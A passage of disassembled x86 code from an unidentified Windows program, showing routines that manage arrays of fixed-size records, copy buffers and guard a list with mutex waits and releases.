		mov	ebx, [ebp-25C8h]
		mov	edi, [ebp-1020h]
		call	sub_41090D
		lea	eax, [ebp-1124h]
		jmp	loc_413294
; ---------------------------------------------------------------------------

loc_4133A7:				; CODE XREF: sub_412B5E+7F5j
		cmp	eax, 0Dh
		jnz	short loc_4133FE
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-28DCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1334h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ebx, [ebp-27D8h]
		mov	edi, [ebp-1230h]
		call	sub_410932
		lea	eax, [ebp-1334h]
		jmp	loc_413294
; ---------------------------------------------------------------------------

loc_4133FE:				; CODE XREF: sub_412B5E+84Cj
		cmp	eax, 0Eh
		jnz	short loc_413455
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-2AECh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1544h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ebx, [ebp-29E8h]
		mov	edi, [ebp-1440h]
		call	sub_410957
		lea	eax, [ebp-1544h]
		jmp	loc_413294
; ---------------------------------------------------------------------------

loc_413455:				; CODE XREF: sub_412B5E+8A3j
		cmp	eax, 1
		jnz	short loc_4134B5
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1754h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-3BCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ecx, [ebp-2B8h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_413515
		mov	eax, [ebp-1650h]
		call	sub_41002B
		lea	eax, [ebp-3BCh]

loc_4134AD:				; CODE XREF: sub_412B5E+14Aj
					; sub_412B5E+1A1j ...
		push	eax
		mov	eax, ebx
		call	sub_4139C6

loc_4134B5:				; CODE XREF: sub_412B5E+BCj
					; sub_412B5E+D9j ...
		mov	eax, [ebp-14h]
		call	sub_413A4F
		test	eax, eax
		jnz	loc_412BE3
		xor	edi, edi

loc_4134C7:				; CODE XREF: sub_412B5E+7Fj
		mov	eax, ebx
		call	sub_413A4F
		test	eax, eax
		jz	short loc_413501
		mov	eax, [ebx+8]
		mov	ecx, [ebp+0Ch]
		mov	esi, 108h
		sub	eax, esi
		mov	eax, [eax+104h]
		call	sub_41002B
		mov	eax, [ebx+8]
		sub	eax, esi
		mov	eax, [eax+104h]
		cmp	[eax+4], edi
		jz	short loc_413501
		mov	esi, ebx
		call	sub_413A09

loc_413501:				; CODE XREF: sub_412B5E+972j
					; sub_412B5E+99Aj
		mov	eax, [ebp+0Ch]

loc_413504:				; CODE XREF: sub_412B5E+9D5j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_413515:				; CODE XREF: sub_412B5E+93Cj
		lea	eax, [ebp-3BCh]
		push	eax
		mov	eax, ebx
		call	sub_4139C6
		lea	eax, [ebp-1754h]
		push	eax
		mov	eax, ebx
		call	sub_4139C6

loc_413531:				; CODE XREF: sub_412B5E+28j
		xor	eax, eax
		jmp	short loc_413504
sub_412B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_413535	proc near		; CODE XREF: sub_41226A+4F7p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 108h
		push	esi
		push	edi
		mov	edi, [ebp+6Ch+arg_0]
		cmp	edi, 4
		jnz	loc_4135EC
		mov	esi, [ebp+6Ch+arg_4]
		call	sub_410FAD
		mov	esi, 100h
		push	esi
		push	[ebp+6Ch+arg_4]
		mov	[ebp+6Ch+var_4], eax
		lea	eax, [ebp+6Ch+var_104]
		push	eax
		mov	[ebp+6Ch+var_108], edi
		call	sub_41C5A0
		add	esp, 0Ch
		cmp	[ebp+6Ch+var_4], 3
		jnz	short loc_4135B7
		push	dword ptr [ebx+20h]
		lea	edi, [ebx+24h]
		mov	eax, edi
		call	sub_41124B
		test	eax, eax
		pop	ecx
		jnz	short loc_4135A9
		mov	eax, [ebx+20h]
		mov	ecx, edi
		call	sub_411204
		test	eax, eax
		jz	short loc_4135B7
		mov	eax, [ebx+20h]
		call	sub_4111E9
		test	eax, eax
		jnz	short loc_4135B7

loc_4135A9:				; CODE XREF: sub_413535+58j
		mov	[ebp+6Ch+var_4], 6
		mov	[ebp+6Ch+var_104], 15h

loc_4135B7:				; CODE XREF: sub_413535+46j
					; sub_413535+66j ...
		lea	edi, [ebp+6Ch+var_108]
		mov	eax, ebx
		call	sub_41371A
		mov	eax, edi
		push	eax
		lea	eax, [ebx+10h]
		call	sub_4139C6
		push	esi
		lea	eax, [ebp+6Ch+var_104]
		push	eax
		lea	eax, [ebx+24h]
		push	eax
		call	sub_41C5A0
		mov	dword ptr [ebx+20h], 4
		jmp	loc_41369F
; ---------------------------------------------------------------------------

loc_4135EC:				; CODE XREF: sub_413535+13j
		push	100h
		push	[ebp+6Ch+arg_4]
		lea	eax, [ebp+6Ch+var_104]
		xor	esi, esi
		push	eax
		mov	[ebp+6Ch+var_4], esi
		mov	[ebp+6Ch+var_108], edi
		call	sub_41C5A0
		push	18h
		call	sub_41BA91
		add	esp, 10h
		cmp	eax, esi
		jz	short loc_413626
		mov	[eax+10h], esi
		mov	[eax+8], esi
		mov	[eax+4], esi
		mov	[eax], esi
		jmp	short loc_413628
; ---------------------------------------------------------------------------

loc_413626:				; CODE XREF: sub_413535+E2j
		xor	eax, eax

loc_413628:				; CODE XREF: sub_413535+EFj
		push	[ebp+6Ch+arg_4]
		mov	esi, eax
		push	edi
		mov	[ebp+6Ch+var_4], eax
		call	sub_410068
		mov	eax, [ebp+6Ch+var_4]
		mov	ecx, [ebp+6Ch+arg_8]
		mov	[eax+4], ecx
		mov	eax, [ebx+124h]
		mov	eax, [eax+158h]
		mov	ecx, [ebp+6Ch+var_4]
		mov	[ecx], eax
		mov	edi, [ebp+6Ch+var_4]
		cmp	dword ptr [edi+8], 3
		jnz	short loc_41365E
		call	sub_40FFCA

loc_41365E:				; CODE XREF: sub_413535+122j
		mov	eax, [ebx+124h]
		push	[ebp+6Ch+var_4]
		add	eax, 2C8h
		call	sub_41377F
		lea	edi, [ebp+6Ch+var_108]
		mov	eax, ebx
		call	sub_41371A
		mov	eax, edi
		push	eax
		mov	eax, ebx
		call	sub_4139C6
		push	100h
		push	[ebp+6Ch+arg_4]
		lea	eax, [ebx+24h]
		push	eax
		call	sub_41C5A0
		mov	eax, [ebp+6Ch+arg_0]
		mov	[ebx+20h], eax

loc_41369F:				; CODE XREF: sub_413535+B2j
		add	esp, 0Ch
		pop	edi
		pop	esi
		add	ebp, 6Ch
		leave
		retn	0Ch
sub_413535	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136AB	proc near		; CODE XREF: sub_41226A+107p
					; sub_41226A+25Cp ...

var_108		= dword	ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	esi, eax
		mov	eax, [ecx+8]
		cmp	eax, 1
		push	3
		pop	edx
		jnz	short loc_4136C7
		push	0Dh
		jmp	short loc_4136D6
; ---------------------------------------------------------------------------

loc_4136C7:				; CODE XREF: sub_4136AB+16j
		cmp	eax, 2
		jnz	short loc_4136D0
		push	0Eh
		jmp	short loc_4136D6
; ---------------------------------------------------------------------------

loc_4136D0:				; CODE XREF: sub_4136AB+1Fj
		cmp	eax, edx
		jnz	short loc_4136D7
		push	0Fh

loc_4136D6:				; CODE XREF: sub_4136AB+1Aj
					; sub_4136AB+23j
		pop	edx

loc_4136D7:				; CODE XREF: sub_4136AB+27j
		mov	eax, [esi+124h]
		push	ecx
		add	eax, 2C8h
		mov	[ebp+var_108], edx
		mov	[ebp+var_4], ecx
		call	sub_41377F
		lea	edi, [ebp+var_108]
		mov	eax, esi
		call	sub_41371A
		mov	eax, edi
		push	eax
		mov	eax, esi
		call	sub_4139C6
		push	41h
		lea	edi, [esi+20h]
		pop	ecx
		lea	esi, [ebp+var_108]
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4136AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41371A	proc near		; CODE XREF: sub_413535+8Ap
					; sub_413535+144p ...
		push	esi
		mov	esi, eax
		mov	eax, [esi+20h]
		test	eax, eax
		jnz	short loc_413736
		mov	eax, [edi]
		lea	ecx, [edi+4]
		call	sub_411204
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413736:				; CODE XREF: sub_41371A+8j
		push	ebx
		lea	ebx, [esi+24h]
		push	eax
		mov	eax, ebx
		call	sub_41124B
		test	eax, eax
		pop	ecx
		jnz	short loc_41376B
		mov	esi, [esi+20h]
		mov	eax, esi
		call	sub_4111E9
		test	eax, eax
		jz	short loc_41375E
		mov	eax, [edi]
		call	sub_4111E9
		jmp	short loc_413776
; ---------------------------------------------------------------------------

loc_41375E:				; CODE XREF: sub_41371A+39j
		mov	ecx, ebx
		mov	eax, esi
		call	sub_411204
		test	eax, eax
		jz	short loc_41377C

loc_41376B:				; CODE XREF: sub_41371A+2Bj
		push	dword ptr [edi]
		lea	eax, [edi+4]
		call	sub_41124B
		pop	ecx

loc_413776:				; CODE XREF: sub_41371A+42j
		test	eax, eax
		jz	short loc_41377C
		xor	eax, eax

loc_41377C:				; CODE XREF: sub_41371A+4Fj
					; sub_41371A+5Ej
		pop	ebx
		pop	esi
		retn
sub_41371A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41377F	proc near		; CODE XREF: sub_4109C7+Fp
					; sub_411377+C9p ...

arg_0		= dword	ptr  4

		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		jmp	short loc_413793
; ---------------------------------------------------------------------------

loc_413788:				; CODE XREF: sub_41377F+16j
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_413797
		add	ecx, 4

loc_413793:				; CODE XREF: sub_41377F+7j
		cmp	ecx, edx
		jnz	short loc_413788

loc_413797:				; CODE XREF: sub_41377F+Fj
		cmp	ecx, edx
		jnz	short loc_4137A4
		lea	esi, [esp+4+arg_0]
		call	sub_413F72

loc_4137A4:				; CODE XREF: sub_41377F+1Aj
		pop	esi
		retn	4
sub_41377F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137A8	proc near		; CODE XREF: sub_4121F3+Ep
					; sub_412810+6Bp

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, eax
		xor	edi, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_4137FA
		push	ebx

loc_4137BC:				; CODE XREF: sub_4137A8+4Fj
		mov	eax, [esi+4]
		mov	ebx, edi
		shl	ebx, 2
		add	eax, ebx
		mov	ecx, [eax]
		mov	ecx, [ecx]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_4137D8
		cmp	[ebp+arg_4], 0
		jnz	short loc_4137D8
		inc	edi
		jmp	short loc_4137EE
; ---------------------------------------------------------------------------

loc_4137D8:				; CODE XREF: sub_4137A8+25j
					; sub_4137A8+2Bj
		push	dword ptr [eax]
		call	sub_41C7B8
		mov	eax, [esi+4]
		add	eax, ebx
		pop	ecx
		push	eax
		lea	ebx, [ebp+var_4]
		call	sub_408B03

loc_4137EE:				; CODE XREF: sub_4137A8+2Ej
		mov	eax, esi
		call	sub_408AF0
		cmp	edi, eax
		jb	short loc_4137BC
		pop	ebx

loc_4137FA:				; CODE XREF: sub_4137A8+11j
		pop	edi
		pop	esi
		leave
		retn	8
sub_4137A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_413800	proc near		; CODE XREF: sub_40EC1D+Ap
					; sub_40EC70+Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	100h
		push	[esp+4+arg_0]
		lea	eax, [esi+8]
		push	eax
		mov	dword ptr [esi], offset	off_4307B0
		call	sub_41C5A0
		mov	eax, [esp+0Ch+arg_4]
		and	dword ptr [esi+108h], 0
		mov	[esi+110h], eax
		add	esp, 0Ch
		mov	dword ptr [esi+4], 1
		mov	eax, esi
		retn	8
sub_413800	endp


; =============== S U B	R O U T	I N E =======================================



sub_413838	proc near		; CODE XREF: sub_412A38+B3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	18h
		call	sub_41BA91
		pop	ecx
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_413853
		mov	[eax+10h], ecx
		mov	[eax+8], ecx
		mov	[eax+4], ecx
		mov	[eax], ecx
		jmp	short loc_413855
; ---------------------------------------------------------------------------

loc_413853:				; CODE XREF: sub_413838+Cj
		xor	eax, eax

loc_413855:				; CODE XREF: sub_413838+19j
		push	esi
		push	[esp+4+arg_0]
		lea	esi, [edi+108h]
		mov	[esi], eax
		mov	eax, [esp+8+arg_4]
		mov	[edi+10Ch], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax]
		mov	eax, [esi]
		pop	esi
		retn	8
sub_413838	endp


; =============== S U B	R O U T	I N E =======================================



sub_413878	proc near		; CODE XREF: sub_411377+33p
					; sub_411377+B2p ...
		mov	eax, offset loc_427C0B
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		lea	eax, [esi+104h]
		xor	edx, edx
		mov	[eax+4], edx
		mov	[eax+8], edx
		mov	[eax+0Ch], edx
		mov	[eax+10h], ecx
		lea	eax, [esi+118h]
		push	100h
		push	dword ptr [ebp+0Ch]
		mov	[eax+4], edx
		mov	[eax+8], edx
		mov	[eax+0Ch], edx
		mov	[eax+10h], ecx
		lea	eax, [esi+4]
		push	eax
		call	sub_41C5A0
		mov	ecx, [ebp-0Ch]
		add	esp, 0Ch
		mov	dword ptr [esi], 1
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	8
sub_413878	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4138D7	proc near		; CODE XREF: .text:004086E4p
					; sub_40C201+3Bp

arg_0		= byte ptr  4

		push	esi
		push	0FFFFFFFFh
		push	dword ptr [edi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		lea	esi, [esp+4+arg_0]
		mov	eax, edi
		call	sub_413F72
		push	dword ptr [edi+10h]
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		retn	4
sub_4138D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138FB	proc near		; CODE XREF: sub_41136B+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, eax
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, esi
		xor	ebx, ebx
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_41394B
		push	edi
		mov	edi, [esi+4]
		mov	[ebp+var_4], edi

loc_413922:				; CODE XREF: sub_4138FB+3Fj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		cmp	eax, [ebp+arg_0]
		jz	short loc_41393E
		add	[ebp+var_4], 4
		mov	eax, esi
		inc	ebx
		call	sub_408AF0
		cmp	ebx, eax
		jb	short loc_413922
		jmp	short loc_41394A
; ---------------------------------------------------------------------------

loc_41393E:				; CODE XREF: sub_4138FB+2Fj
		lea	eax, [edi+ebx*4]
		push	eax
		lea	ebx, [ebp+arg_0]
		call	sub_408B03

loc_41394A:				; CODE XREF: sub_4138FB+41j
		pop	edi

loc_41394B:				; CODE XREF: sub_4138FB+1Ej
		push	dword ptr [esi+10h]
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4138FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41395A	proc near		; CODE XREF: sub_40FB2E+Bp

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, eax
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, esi
		xor	edi, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_4139B7
		push	ebx

loc_41397B:				; CODE XREF: sub_41395A+5Aj
		mov	eax, [esi+4]
		mov	ecx, edi
		shl	ecx, 2
		add	eax, ecx
		mov	edx, [eax]
		cmp	edx, [ebp+arg_0]
		jz	short loc_4139AA
		mov	eax, edx
		mov	eax, [eax+10h]
		mov	dword ptr [eax+100h], 1
		mov	eax, [esi+4]
		add	eax, ecx
		push	eax
		lea	ebx, [ebp+var_4]
		call	sub_408B03
		dec	edi

loc_4139AA:				; CODE XREF: sub_41395A+30j
		mov	eax, esi
		inc	edi
		call	sub_408AF0
		cmp	edi, eax
		jb	short loc_41397B
		pop	ebx

loc_4139B7:				; CODE XREF: sub_41395A+1Ej
		push	dword ptr [esi+10h]
		call	ds:dword_429138	; ReleaseMutex
		pop	edi
		pop	esi
		leave
		retn	4
sub_41395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139C6	proc near		; CODE XREF: sub_412B5E+3BFp
					; sub_412B5E+494p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, eax
		call	sub_413A4F
		mov	esi, eax
		mov	eax, edi
		call	sub_413A37
		cmp	esi, eax
		jnb	short loc_4139F2
		push	[ebp+arg_0]
		push	1
		push	dword ptr [edi+8]
		push	edi
		call	sub_413AAA
		mov	[edi+8], eax
		jmp	short loc_413A03
; ---------------------------------------------------------------------------

loc_4139F2:				; CODE XREF: sub_4139C6+17j
		mov	eax, [edi+8]
		push	ebx
		push	[ebp+arg_0]
		lea	ebx, [ebp+arg_0]
		push	eax
		call	sub_413A67
		pop	ebx

loc_413A03:				; CODE XREF: sub_4139C6+2Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_4139C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A09	proc near		; CODE XREF: sub_412B5E+9Cp
					; sub_412B5E+113p ...
		mov	eax, esi
		call	sub_413A4F
		test	eax, eax
		jz	short locret_413A1B
		add	dword ptr [esi+8], 0FFFFFEF8h

locret_413A1B:				; CODE XREF: sub_413A09+9j
		retn
sub_413A09	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A1C	proc near		; CODE XREF: sub_4280CC-20DF6p
					; sub_4073E0j ...
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_413A2A
		push	eax
		call	sub_41C7B8
		pop	ecx

loc_413A2A:				; CODE XREF: sub_413A1C+5j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		retn
sub_413A1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A37	proc near		; CODE XREF: sub_4139C6+10p
					; sub_413AD1+27p
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_413A41
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_413A41:				; CODE XREF: sub_413A37+5j
		mov	eax, [eax+0Ch]
		sub	eax, ecx
		cdq
		mov	ecx, 108h
		idiv	ecx
		retn
sub_413A37	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A4F	proc near		; CODE XREF: sub_412B5E+78p
					; sub_412B5E+95Ap ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_413A59
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_413A59:				; CODE XREF: sub_413A4F+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		cdq
		mov	ecx, 108h
		idiv	ecx
		retn
sub_413A4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A67	proc near		; CODE XREF: sub_4139C6+37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		call	sub_413A4F
		test	eax, eax
		jnz	short loc_413A77
		xor	esi, esi
		jmp	short loc_413A88
; ---------------------------------------------------------------------------

loc_413A77:				; CODE XREF: sub_413A67+Aj
		mov	eax, [esp+4+arg_0]
		sub	eax, [edi+4]
		mov	ecx, 108h
		cdq
		idiv	ecx
		mov	esi, eax

loc_413A88:				; CODE XREF: sub_413A67+Ej
		mov	edx, [esp+4+arg_4]
		push	1
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_413AD1
		imul	esi, 108h
		add	esi, [edi+4]
		mov	eax, ebx
		mov	[ebx], esi
		pop	esi
		retn	8
sub_413A67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AAA	proc near		; CODE XREF: sub_4139C6+22p
					; sub_413AD1+BEp ...

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41407E
		mov	eax, [ebp+arg_8]
		imul	eax, 108h
		add	esp, 0Ch
		add	eax, [ebp+arg_4]
		pop	ebp
		retn	10h
sub_413AAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_413AD1	proc near		; CODE XREF: sub_413A67+2Dp
		mov	eax, offset loc_427BF3
		call	sub_41E550
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	ebx, ecx
		push	42h
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp-118h]
		mov	eax, ebx
		rep movsd
		call	sub_413A37
		mov	esi, [ebp+0Ch]
		test	esi, esi
		mov	edi, eax
		jz	loc_413CAD
		mov	eax, ebx
		call	sub_413A4F
		mov	ecx, 0F83E0Fh
		sub	ecx, eax
		cmp	ecx, esi
		jnb	short loc_413B21
		call	sub_40C38F

loc_413B21:				; CODE XREF: sub_413AD1+49j
		mov	eax, ebx
		call	sub_413A4F
		add	eax, esi
		cmp	edi, eax
		jnb	loc_413BFF
		mov	eax, edi
		shr	eax, 1
		mov	ecx, 0F83E0Fh
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_413B45
		xor	edi, edi
		jmp	short loc_413B47
; ---------------------------------------------------------------------------

loc_413B45:				; CODE XREF: sub_413AD1+6Ej
		add	edi, eax

loc_413B47:				; CODE XREF: sub_413AD1+72j
		mov	eax, ebx
		call	sub_413A4F
		add	eax, esi
		cmp	edi, eax
		jnb	short loc_413B5F
		mov	eax, ebx
		call	sub_413A4F
		mov	edi, eax
		add	edi, esi

loc_413B5F:				; CODE XREF: sub_413AD1+81j
		mov	eax, edi
		imul	eax, 108h
		push	eax
		call	sub_41BA91
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		mov	ecx, [ebx+4]
		push	dword ptr [ebp+8]
		mov	[ebp+0Ch], eax
		call	sub_414258
		add	esp, 0Ch
		lea	ecx, [ebp-118h]
		push	ecx
		push	esi
		push	eax
		push	ebx
		call	sub_413AAA
		mov	ecx, [ebx+8]
		push	dword ptr [ebp+8]
		push	ecx
		mov	ecx, [ebp+8]
		call	sub_414258
		pop	ecx
		pop	ecx
		mov	eax, ebx
		call	sub_413A4F
		add	esi, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_413BCC
		mov	ecx, [ebx+8]
		jmp	short loc_413BBF
; ---------------------------------------------------------------------------

loc_413BBA:				; CODE XREF: sub_413AD1+F0j
		add	eax, 108h

loc_413BBF:				; CODE XREF: sub_413AD1+E7j
		cmp	eax, ecx
		jnz	short loc_413BBA
		push	dword ptr [ebx+4]
		call	sub_41C7B8
		pop	ecx

loc_413BCC:				; CODE XREF: sub_413AD1+E2j
		mov	eax, [ebp+0Ch]
		imul	edi, 108h
		imul	esi, 108h
		add	edi, eax
		add	esi, eax
		mov	[ebx+0Ch], edi
		mov	[ebx+8], esi
		mov	[ebx+4], eax
		jmp	loc_413CAD
; ---------------------------------------------------------------------------

loc_413BED:				; DATA XREF: .text:00431864o
		push	dword ptr [ebp+0Ch]
		call	sub_41C7B8
		pop	ecx

loc_413BF6:				; DATA XREF: .text:00431874o
		push	0
		push	0
		call	sub_41E4BE

loc_413BFF:				; CODE XREF: sub_413AD1+5Bj
		mov	ecx, [ebx+8]
		mov	eax, ecx
		sub	eax, [ebp+8]
		mov	edi, 108h
		cdq
		idiv	edi
		push	dword ptr [ebp+8]
		mov	[ebp+0Ch], ecx
		push	ecx
		cmp	eax, esi
		jnb	short loc_413C75
		mov	edx, [ebp+8]
		mov	edi, esi
		imul	edi, 108h
		lea	eax, [edi+edx]
		mov	ecx, edx
		call	sub_414258
		pop	ecx
		mov	dword ptr [ebp-4], 2
		mov	eax, [ebx+8]
		sub	eax, [ebp+8]
		pop	ecx
		lea	ecx, [ebp-118h]
		push	ecx
		cdq
		mov	ecx, 108h
		idiv	ecx
		sub	esi, eax
		push	esi
		push	dword ptr [ebx+8]
		push	ebx
		call	sub_413AAA
		add	[ebx+8], edi
		mov	ebx, [ebx+8]
		lea	eax, [ebp-118h]
		push	eax
		mov	eax, [ebp+8]
		sub	ebx, edi
		push	ebx
		call	sub_413F3A
		pop	ecx
		pop	ecx
		jmp	short loc_413CAD
; ---------------------------------------------------------------------------

loc_413C75:				; CODE XREF: sub_413AD1+147j
		imul	esi, 108h
		mov	edi, ecx
		sub	edi, esi
		mov	eax, ecx
		mov	ecx, edi
		call	sub_414258
		push	dword ptr [ebp+0Ch]
		mov	[ebx+8], eax
		mov	ebx, [ebp+8]
		push	ebx
		mov	edx, edi
		call	sub_413F5B
		lea	eax, [ebp-118h]
		push	eax
		add	esi, ebx
		push	esi
		mov	eax, ebx
		call	sub_413F3A
		add	esp, 18h

loc_413CAD:				; CODE XREF: sub_413AD1+33j
					; sub_413AD1+117j ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_413AD1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413CBE	proc near		; CODE XREF: sub_411377+52Fp
					; sub_411377+55Cp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, eax
		mov	eax, [esp+4+arg_0]
		add	eax, 8
		push	eax
		call	sub_413CE3
		test	eax, eax
		jnz	short loc_413CDF
		push	esi
		lea	esi, [esp+8+arg_0]
		mov	eax, edi
		call	sub_413F72
		pop	esi

loc_413CDF:				; CODE XREF: sub_413CBE+12j
		pop	edi
		retn	4
sub_413CBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413CE3	proc near		; CODE XREF: sub_41226A+7Ep
					; sub_413CBE+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	eax, edi
		xor	esi, esi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_413D1E

loc_413CF1:				; CODE XREF: sub_413CE3+39j
		mov	eax, [edi+4]
		lea	eax, [eax+esi*4]
		mov	eax, [eax]
		push	100h
		push	[esp+8+arg_0]
		add	eax, 8
		push	eax
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413D24
		mov	eax, edi
		inc	esi
		call	sub_408AF0
		cmp	esi, eax
		jb	short loc_413CF1

loc_413D1E:				; CODE XREF: sub_413CE3+Cj
		xor	eax, eax

loc_413D20:				; CODE XREF: sub_413CE3+49j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_413D24:				; CODE XREF: sub_413CE3+2Dj
		mov	eax, [edi+4]
		lea	eax, [eax+esi*4]
		mov	eax, [eax]
		jmp	short loc_413D20
sub_413CE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D2E	proc near		; CODE XREF: sub_411377+DAp
					; sub_411377+120p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, eax
		mov	eax, [esp+4+arg_0]
		add	eax, 4
		push	eax
		call	sub_413D53
		test	eax, eax
		jnz	short loc_413D4F
		push	esi
		lea	esi, [esp+8+arg_0]
		mov	eax, edi
		call	sub_413F72
		pop	esi

loc_413D4F:				; CODE XREF: sub_413D2E+12j
		pop	edi
		retn	4
sub_413D2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D53	proc near		; CODE XREF: sub_41226A+15Ep
					; sub_413D2E+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	eax, edi
		xor	esi, esi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_413D8E

loc_413D61:				; CODE XREF: sub_413D53+39j
		mov	eax, [edi+4]
		lea	eax, [eax+esi*4]
		mov	eax, [eax]
		push	100h
		push	[esp+8+arg_0]
		add	eax, 4
		push	eax
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413D94
		mov	eax, edi
		inc	esi
		call	sub_408AF0
		cmp	esi, eax
		jb	short loc_413D61

loc_413D8E:				; CODE XREF: sub_413D53+Cj
		xor	eax, eax

loc_413D90:				; CODE XREF: sub_413D53+49j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_413D94:				; CODE XREF: sub_413D53+2Dj
